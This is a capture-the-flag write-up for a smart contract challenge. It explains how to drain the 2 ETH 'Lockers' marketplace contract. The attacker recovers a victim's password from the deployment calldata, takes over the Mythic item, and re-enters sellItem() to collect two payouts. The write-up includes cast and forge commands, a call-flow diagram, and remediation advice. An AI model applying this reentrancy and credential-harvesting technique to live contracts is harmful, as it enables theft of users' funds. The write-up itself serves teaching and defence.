Locked and Loaded

The challenge deploys a marketplace contract called Lockers, seeded with 2 ETH, a set of registered users, and a set of items. Items have different rarity tiers with different payout values when sold. The attacker must drain the contract's entire ETH balance to zero.

Objective: address(TARGET).balance == 0. The contract starts with 2 ETH, and a Mythic item pays out exactly 1 ETH — making two payouts the exact drain needed.

The Lockers contract constructor takes several arrays as arguments: usernames, passwords, item names, item owners, and item rarities. These are passed as calldata in the deployment transaction — and deployment transactions, like all transactions, are publicly readable on-chain.

To find these initial values, we fetch the deployment transaction and decode its input data:

$ # Find the setup contract's deployment transaction hash
cast tx <SETUP_TX_HASH> --rpc-url $RPC --json | python3 -c "
import sys, json
tx = json.load(sys.stdin)
print(tx['input'])
"

The raw input contains ABI-encoded arrays of users, passwords, items, owners, and rarities. Decoding this reveals the full seeded dataset — including the password of the Mythic item's original owner. This password is what we'll need to authenticate a transfer of ownership.

Key Functions in Lockers.sol

The Lockers contract has three functions relevant to our exploit:

Two observations set up the exploit:

• getLocker registers any username to msg.sender — so our attacker contract can register itself as the wallet address for a username.
• transferItem moves item ownership to any username string with no validation that the target is registered. We can transfer the Mythic item to ourselves using the original owner's leaked password.

The sellItem Function

Reentrancy is one of the oldest and most consequential smart contract vulnerabilities. The DAO hack in 2016 — which led to the Ethereum/Ethereum Classic fork — was a reentrancy attack. To understand it, you need to understand what happens when Solidity sends ETH to an address.

This is the core insight. When usernameToWallet[prevOwner].call{value: 1 ether}("") fires, execution transfers to our attacker contract. At this precise moment, delete items[index] has NOT run. The item still exists in items[]. The attacker contract can call sellItem() again from receive().

The vulnerability in sellItem() is a textbook violation of the checks-effects-interactions pattern. The correct order is:

CORRECT ORDER (Checks-Effects-Interactions):

  ① CHECKS:    validate inputs, require conditions
  ② EFFECTS:   update all contract state (delete item, update balances)
  ③ INTERACT:  send ETH, call external contracts

ACTUAL ORDER IN sellItem():

  ① CHECKS:    find item, authenticate owner           ✓
  ② INTERACT:  .call{value: price}("")                 ← WRONG POSITION
  ③ EFFECTS:   delete items[index]                     ← TOO LATE

The line that makes this exploitable:

• usernameToWallet[prevOwner] — this is the wallet address we registered via getLocker(). We control this address. It is our attacker contract.
• .call{value: price[_item.rarity]}("") — sends ETH to our contract. This triggers receive().
• Inside receive(), we call sellItem() again on the same item.
• The second call finds the item still in items[] (delete hasn't run), authenticates successfully, and pays out another 1 ETH.
• The second call's delete removes the item from storage.
• The first call's delete tries to delete an already-deleted index — harmless.
• Total ETH paid out: 2 ETH. Balance: 0. Win condition satisfied.

We need exactly two payouts of 1 ETH each (Mythic item price) to drain the 2 ETH contract balance. The reentrancy naturally provides this: one payout during the outer sellItem() call, one during the re-entered sellItem() call from receive().

A reentered boolean flag in our attacker contract prevents a third call — which would fail anyway since the balance would be 0, but preventing it avoids a revert in the nested call that could cascade back up and revert everything.

Setup steps before calling sellItem:

1. Deploy the attacker contract (it registers itself as a user via the constructor or an attack() function)
2. Call getLocker(myUsername, myPassword) — binds our username to the attacker contract address
3. Call transferItem(mythicItemName, myUsername, victimPassword) — steal ownership of the Mythic item
4. Call sellItem(mythicItemName, myPassword) — trigger the reentrancy

Initial state: Lockers balance = 2 ETH, WizardsScepter owned by attacker

attack()
  │
  └── sellItem("WizardsScepter", MY_PASSWORD)  [outer call]
           │
           ├── [find item, authenticate] ✓
           ├── _item.owner = "Vendor"  [memory only, storage unchanged]
           ├── balance: 2 ETH
           │
           └── .call{value: 1 ether}("") → Attacker.receive()
                    │
                    Lockers balance: 1 ETH (1 ETH sent)
                    WizardsScepter: STILL IN items[] (not yet deleted)
                    │
                    └── sellItem("WizardsScepter", MY_PASSWORD)  [reentrant call]
                             │
                             ├── [find item, authenticate] ✓  (item still exists!)
                             ├── _item.owner = "Vendor"
                             ├── balance: 1 ETH
                             │
                             └── .call{value: 1 ether}("") → Attacker.receive()
                                      │
                                      reentered = true → do nothing, return
                                      │
                             ← back to nested sellItem
                             ├── delete items[index]      [item removed from storage]
                             └── returns
                    │
                    Lockers balance: 0 ETH (second 1 ETH sent)
                    │
           ← back to outer sellItem
           ├── delete items[index]      [already deleted — no-op]
           └── returns

isSolved() → true  (balance == 0)

Key points about the exploit contract design:

• Lines 23, 27, 31: Three-step setup — register, steal, sell. Each step is necessary: getLocker binds our address, transferItem moves ownership, sellItem is where the reentrancy fires.
• Line 35: receive() is triggered by the ETH transfer inside sellItem(). This is where execution returns to us mid-function.
• Line 36: The reentered guard prevents a third call. Without it, the third call would fail (balance is 0, can't pay), potentially reverting the whole chain.
• Line 38: The re-entrant sellItem() call — the item still exists at this point, so the call succeeds and drains the remaining 1 ETH.

$ forge script Solve.s.sol:Solve \
  --rpc-url http://<HOST>:<PORT>/rpc \
  --private-key $PRIVATE_KEY \
  --broadcast

Sending transactions [1/2]:
  hash: <DEPLOY_TX>  Exploit contract deployed

Sending transactions [2/2]:
  hash: <ATTACK_TX>  attack() executed

Script ran successfully.

== Logs ==
isSolved: true

$ cast call --rpc-url $RPC $TARGET "isSolved()"

0x0000000000000000000000000000000000000000000000000000000000000001

Root Cause

The sellItem() function violates the checks-effects-interactions pattern. It sends ETH to an external, attacker-controlled address before deleting the item from storage. This creates a window where the item still exists but ETH has already been paid for it.

The Fix — Follow Checks-Effects-Interactions

With the delete before the external call, a re-entrant sellItem() would fail to find the item ("Item does not exist") and would revert.

Alternative — Reentrancy Guard

A reentrancy guard (nonReentrant modifier from OpenZeppelin's ReentrancyGuard) prevents any function with the modifier from being re-entered. This is a defensive layer, but Checks-Effects-Interactions is the primary fix — reentrancy guards are additional protection.

Additional Issues

The transferItem() function should validate that the recipient username exists inusernameToWallet before allowing ownership transfer. Currently, items can be moved to any arbitrary string, enabling the attacker to steal items by registering a username that matches a transfer target.